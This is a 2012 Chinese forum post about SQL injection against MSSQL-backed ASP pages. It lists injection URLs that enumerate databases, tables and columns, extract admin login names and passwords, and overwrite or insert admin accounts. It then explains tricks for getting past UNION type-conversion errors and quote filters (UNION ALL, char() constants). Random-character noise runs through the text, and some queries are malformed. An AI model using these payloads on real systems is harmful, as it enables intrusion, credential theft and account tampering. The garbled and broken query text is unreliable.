标题: MSSQL用union查询爆数据 [打印本页] 作者: admin 时间: 2012-9-15 14:26 标题: MSSQL用union查询爆数据 爆库:5 S8 O6 g' [6 Q3 Z) l& J
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.-- * `2 c2 j$ J# p# |0 C& uSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.3 }/ k: f5 }$ I) Q
爆下一个库:* H9 e2 M. S ~+ i7 R! Y3 }' h
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--: d& Q: K( X4 {7 d- e& E+ Y
U% D8 t+ |0 l- P4 V爆表:) w" L( @ U7 S+ y: a: Y
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- * H5 {9 ?: Y- K2 s2 C1 {: }: `8 V8 n0 K- l
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES. , F4 a% z( q2 J/ s- S9 n3 d# W! h2 Q1 F4 W4 Z% l
爆下一个表7 f% m* w( {# R4 S& X G
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--" V; x' S5 Q3 Q5 m
- J3 X! P0 c3 ?+ p0 D8 `http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'-- 2 ^7 x( A3 D' h5 z. ^) @ o . Y- K# F# o+ {! `' O; f2 J, F$ S& K$ `
; [6 b/ v% ?; R* K6 f8 }$ ^爆字段:; f& G4 V+ k8 V% w
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--' G# }' k; y- e. X- z
- u; b( _8 s/ p! u
爆下一个字段 & M2 t) t/ ~6 W# whttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- ; j) O5 b' {7 L' v" v& V7 |9 D% v$ X
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--* U( F Z9 g5 G% E9 s7 D- y2 P
4 E2 n2 M `! F: b8 G8 u" _ k) Z: Q6 h) r$ a' e- o$ i: l% N
爆字段里的内容 # {/ y# D# V4 V6 i! S! chttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login-- * Y0 W; {8 K6 D& m, @5 y* _ 5 F0 R `" [: k7 M- n/ ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--4 i& P1 M0 E; j( U' f% }
8 c% Y* |/ ~& C1 `4 u' m, _7 G
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--" u; I" y% m% g' F
' w/ [& j7 T& v O. q3 t' U, o& qhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'-- 5 I, R$ N N+ q& K Z % {: \( T' N% A- N7 _; x更新字段里的内容 1 {' j; Q6 e2 C! g: Chttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'-- D7 [& |& J3 V% b( l4 j' w * n3 O* [1 `* u1 w$ i9 dhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--* C# j9 [; j" K! f- t
' p, s$ j! [: u( q5 R( f5 Z' b8 O7 x/ o
8 Q8 r: f {" @6 D& Q% H 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。1 l% k% r& {$ W: v* \% b
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。1 w7 @- W- Z, ~) ~0 n
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。 * j& }0 L- J8 I 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。6 P& ~- g4 j' g/ a
/ q: E; M! T/ E( V% N; \9 b突了了大部份限制的语句" S9 y# }! C9 t% Y$ E
and 1=2 union all select char(49),char(50),null,null;--# ^( G1 p" A& r! f. F7 n5 Y, S
, \4 g3 Q: Z1 q; n
4 J( c- D+ ^9 T+ l( \4 dnull也可以正常执行,不过没有回显,不好判断回显的列数。& |& u( ?2 Z1 k. Z( i
一般union遇到问题都是有text或者ntext字段,image的很少遇到 6 W2 T" V. A) R4 L- v, y ' {, M7 x ^5 y6 s3 ~$ w可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟 3 \ d5 O$ E) C y! i! B6 n 6 E3 }% T/ M) W9 D6 W {5 Z% `% ] x) l8 \9 e